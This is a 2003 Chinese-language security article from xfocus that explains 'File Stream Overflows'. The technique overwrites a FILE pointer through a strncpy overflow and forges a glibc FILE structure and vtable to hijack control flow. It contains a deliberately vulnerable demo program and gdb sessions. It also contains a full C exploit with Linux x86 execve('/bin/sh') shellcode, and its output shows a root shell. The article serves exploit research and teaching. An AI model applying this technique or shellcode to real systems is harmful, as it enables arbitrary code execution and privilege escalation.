xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

一种新的File Stream Overflows(FSO)


创建时间:2003-04-10
文章属性:整理
文章来源:http://www.xfous.org/
文章提交:alert7 (sztcww_at_sina.com)

一种新的File Stream Overflows(FSO)
        
by alert7 < alert7@xfocus.org >
主页: http://www.xfocus.org/  http://www.whitecell.org/
时间:2003年4月9日


★★ 1:前言
    跟以往的exploit方法不一样,算是一种新的溢出方法,有必要探讨下。
  废话就不说了,直接切入正题吧


★★ 2:什么是File Stream
    写过c和c++的人都知道,有一种数据类型叫FILE,它是管理文件流的一种结构。


★★ 3:什么是File Stream Overflows(FSO)
    这里FSO是指当指向FILE的指针被非法覆盖,那么什么时候指向FILE的指针会被非法覆盖呢?
  其实情况还是太多,就象下面例子中的程序一样,当发生BOF的时候指针fp才会被非法覆盖。但由于
  strncpy的特殊性,我们构造的程序中的fp始终会被覆盖掉。


★★ 4:当发生FSO的时候,我们如何来写exploit呢?

★ 4.1 一个小例子
/*
*vul.c demo
*write by alert7@xfocus.org
*/
#include <stdio.h>

int main(int argc, char *argv[])
{
    FILE * fp;
    char buf[1024];
    int i;
    fp =stdout;
    i = (int)&fp-(int)&buf;
    printf(" fp addr %p point %p\nbuf addr %p\n len %d\n",&fp,fp,buf,i);
    
    strncpy(buf,argv[1],i +4 );

    fprintf(fp,"%s\n",buf);
    exit(0);
}

[alert7@redhat73 FSO]# gcc -o vul vul.c -ggdb -g
[alert7@redhat73 FSO]# gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-110)

★ 4.2 粗略分析

[alert7@redhat73 FSO]# gdb vul -q
(gdb) b main
Breakpoint 1 at 0x8048499: file vul.c, line 12.
(gdb) r fff
Starting program: /root/FSO/vul fff

Breakpoint 1, main (argc=2, argv=0xbffffba4) at vul.c:12
12              fp =stdout;
(gdb) b fprintf
Breakpoint 2 at 0x4205a178
(gdb) c
Continuing.
fp addr 0xbffffb2c point 0x4212db00
buf addr 0xbffff720
len 1036

Breakpoint 2, 0x4205a178 in fprintf () from /lib/i686/libc.so.6
(gdb) x/20x 0xbffff720
0xbffff720:     0x00666666      0x00000000      0x00000000      0x00000000
0xbffff730:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff740:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff750:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff760:     0x00000000      0x00000000      0x00000000      0x00000000

char *strncpy(char *dest, const char *src, size_t n);
说明假如src长度只有m(n>m的情况)的话,dest后面的n-m的空间将被请0
假如m>=n的话,src前面m个字符被拷贝到dest中,并且dest后面的没有\0结束符
所以,上面这个例子中fp都会被覆盖掉。
strncpy也是程序员容易用错的一个函数,正确的用法是:
char buf[SIZELEN]
strncpy(buf,src,SIZELEN);
buf[SIZELEN-1]=0;//这句一定要加,否则以后用strlen(buf)的时候就会出错拉

再来看看
[alert7@redhat73 FSO]# gdb vul -q
(gdb) r `perl -e 'print "A"x2000'`
Starting program: /root/FSO/vul `perl -e 'print "A"x2000'`
fp addr 0xbffff35c point 0x4212db00
buf addr 0xbfffef50
len 1036

Program received signal SIGSEGV, Segmentation fault.
0x420502ea in vfprintf () from /lib/i686/libc.so.6
(gdb) x/i $eip
0x420502ea <vfprintf+58>:       cmpb   $0x0,0x46(%eax)
(gdb) i reg eax
eax            0x41414141       1094795585
(gdb) x/x 0xbffff35c
0xbffff35c:     0x41414141
  
  现在我们的fp已经被覆盖成了0x41414141,该地址是没有映射的,所以cmpb   $0x0,0x46(%eax)
指令操作失败了。


  想办法使这个指令成功。我们使用0xbffff404覆盖fp
(gdb) r `perl -e 'print "A"x1036 ;print "\x04\xf4\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/FSO/vul `perl -e 'print "A"x1036 ;print "\x04\xf4\xff\xbf"'`
fp addr 0xbffff71c point 0x4212db00
buf addr 0xbffff310
len 1036

Program received signal SIGSEGV, Segmentation fault.
0x4205046d in vfprintf () from /lib/i686/libc.so.6
(gdb) x/i $eip
0x4205046d <vfprintf+445>:      call   *0x1c(%eax)
(gdb) i reg eax
eax            0x41414141       1094795585

0x42050451 <vfprintf+417>:      mov    0x8(%ebp),%edx
0x42050454 <vfprintf+420>:      sub    $0x4,%esp
0x42050457 <vfprintf+423>:      mov    0xfffffa74(%ebp),%esi
0x4205045d <vfprintf+429>:      movsbl 0x46(%edx),%eax //this import
0x42050461 <vfprintf+433>:      sub    %edi,%esi
0x42050463 <vfprintf+435>:      mov    0x94(%eax,%edx,1),%eax//得到跳转表地址_IO_file_jumps_internal
0x4205046a <vfprintf+442>:      push   %esi
0x4205046b <vfprintf+443>:      push   %edi
0x4205046c <vfprintf+444>:      push   %edx
0x4205046d <vfprintf+445>:      call   *0x1c(%eax)
0x42050470 <vfprintf+448>:      add    $0x10,%esp
0x42050473 <vfprintf+451>:      cmp    %esi,%eax
0x42050475 <vfprintf+453>:      je     0x420504f4 <vfprintf+580>
0x42050477 <vfprintf+455>:      mov    %esi,%esi
0x42050479 <vfprintf+457>:      lea    0x0(%edi,1),%edi
0x42050480 <vfprintf+464>:      mov    $0xffffffff,%edx
(gdb) i reg eax edx
eax            0x0      0
edx            0x4212db00       1108531968
(gdb) x/40a stdout
0x4212db00 <_IO_2_1_stdout_>:   0xfbad2084      0x0     0x0     0x0
0x4212db10 <_IO_2_1_stdout_+16>:        0x0     0x0     0x0     0x0
0x4212db20 <_IO_2_1_stdout_+32>:        0x0     0x0     0x0     0x0
0x4212db30 <_IO_2_1_stdout_+48>:        0x0     0x4212d980 <_IO_2_1_stdin_>    0x1      0x0
0x4212db40 <_IO_2_1_stdout_+64>:        0xffffffff      0x0     0x4212da18 <_IO_stdfile_1_lock> 0xffffffff
0x4212db50 <_IO_2_1_stdout_+80>:        0xffffffff      0x0     0x4212da40 <_IO_wide_data_1>    0xffffffff
0x4212db60 <_IO_2_1_stdout_+96>:        0x0     0x0     0x0     0x0
0x4212db70 <_IO_2_1_stdout_+112>:       0x0     0x0     0x0     0x0
0x4212db80 <_IO_2_1_stdout_+128>:       0x0     0x0     0x0     0x0
0x4212db90 <_IO_2_1_stdout_+144>:       0x0     0x4212d820 <_IO_file_jumps_internal>    0x0     0x0
(gdb) x/40a 0x4212d820

0x4212d820 <_IO_file_jumps_internal>:   0x0     0x0     0x420766b0 <_IO_new_file_finish>        0x420758e0 <_IO_new_file_overflow>
0x4212d830 <_IO_file_jumps_internal+16>:        0x420756a0 <_IO_new_file_underflow>     0x42077cf0 <_IO_default_uflow_internal> 0x420774c0 <_IO_default_pbackfail_internal>     0x42076050 <_IO_new_file_xsputn>
0x4212d840 <_IO_file_jumps_internal+32>:        0x420762a0 <_IO_file_xsgetn_internal>   0x42075b90 <_IO_new_file_seekoff>       0x42077f00 <_IO_default_seekpos>0x42076790 <_IO_new_file_setbuf>
0x4212d850 <_IO_file_jumps_internal+48>:        0x42075ab0 <_IO_new_file_sync> 0x4206b354 <_IO_file_doallocate_internal>        0x420765c0 <_IO_file_read_internal>     0x420767f0 <_IO_new_file_write>
0x4212d860 <_IO_file_jumps_internal+64>:        0x420765f0 <_IO_file_seek_internal>     0x420764d0 <_IO_file_close_internal>    0x420764a0 <_IO_file_stat_internal>     0x42077f80 <_IO_default_showmanyc>
0x4212d870 <_IO_file_jumps_internal+80>:        0x42077f90 <_IO_default_imbue> 0x0      0x0     0x0
0x4212d880 <list_all_lock>:     0x0     0x0     0x0     0x1
0x4212d890 <list_all_lock+16>:  0x0     0x0     0x0     0x0
0x4212d8a0 <_IO_stdfile_0_lock>:        0x0     0x0     0x0     0x1
0x4212d8b0 <_IO_stdfile_0_lock+16>:     0x0     0x0     0x0     0x0


看来有希望了。

我们还是来看看File Stream的结构FILE吧
由于glibc代码比较复杂,FILE的结构可能如下结构

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

_IO_FILE file为该结构的数据。
const struct _IO_jump_t *vtable跳转表为操作该结构数据的函数指针表
以非面向对象的C写出了有点象C++中的类东西,有了该vtable,实现了多态性。

vtable被初始化为类试下面的结构
struct _IO_jump_t _IO_file_jumps =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, _IO_new_file_overflow),
  JUMP_INIT(underflow, _IO_new_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_new_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

★ 4.3 如何写exploit

  根据上面的分析我们不难看出,我们只需要伪造一个File Stream结构就可以了
struct fake_file_stream{
    char date[sizeof(FILE)-4];
    char * file_jmps;
}    

  至于File Stream伪造的结构和跳转表以及跟SHELLCODE之间是如何分布构造的可以看下面的图表
    
我们构造如下BUFFER

          BUFFER  
          +-------------------+-------------+---+----+---------------+---+---+---+---
(内存低址)| data[]            |file_jmps(A) | A | A  | shellcode ... | A | A | A | .. (内存高址)
          +-------------------+-------------+---+----+---------------+---+---+---+---
          |-->      fake_file_stream    <-- |

A为BUFFER的地址
file_jmps设置为A
在BUFFER开始,我们就构造了一个fake_file_stream,然后空了8个字节,后面才是shellcode
至于为什么要留这8个字节是由于程序结构是这样构造的,或许你另外的构造方法就会有所不同。


★★ 5: EXPLOIT

/********************************************/
/*
*fso_exploit.c exploit for FSO vul demo
*white by alert7@xfocus.org
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define FUNCTIONOFFSET    0x1c //get from call   *0x1c(%eax)
#define OFFSET1     0x46    //get from movsbl 0x46(%edx),%eax //this import
#define OFFSET2    8 //程序构造的原因,固定为8

char shellcode[]= /* linux x86 execve of "/bin//sh" */
   "\x31\xd2\x52\x68\x6e\x2f\x73\x68"
   "\x68\x2f\x2f\x62\x69\x89\xe3\x52"
   "\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

struct fake_file_stream{
        char data[sizeof(FILE)-4];
        char * file_jmps;
};

int main(int argc,char *argv[])
{
   char buffer[4000];

   struct fake_file_stream * fakep;
   int i;
   long  fakefs_addr;

   fakefs_addr = 0xbfffeb60;//atoll(argv[1]);
   //printf("fakefs_addr %u\n",fakefs_addr);

   for (i=0;i<3000;i+=4)
      *(long *)&buffer[i]=fakefs_addr;


   fakep= (struct fake_file_stream *)buffer;
   fakep->file_jmps =fakefs_addr;

   *(long *)&fakep->data[FUNCTIONOFFSET]=fakefs_addr+ sizeof(struct fake_file_stream)+OFFSET2;

   memcpy(buffer+sizeof(struct fake_file_stream)+OFFSET2,shellcode,strlen(shellcode));

   *(long *) &buffer[OFFSET1]=0x04040404; //make eax =4;
   execl("./vul", "vul", buffer, NULL);
    exit(0);
}

[root@redhat73 FSO]# ./fso_exploit
fp addr 0xbfffef6c point 0x4212db00
buf addr 0xbfffeb60
len 1036
sh-2.05a# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh-2.05a# cat readme
痛并快乐着


★★ 6: 其他系统有这种漏洞吗

  基于File Stream 的实现原理,FSO应该在其他系统上也存在,比如WINDOWS。
有兴趣的人也可以试一下。本篇抛砖引玉,到此为止吧。


参考资料:
《File Stream Overflows Paper》 write by < killah@hack.gr >
《glibc 2.2.2 src 》

-------the end--------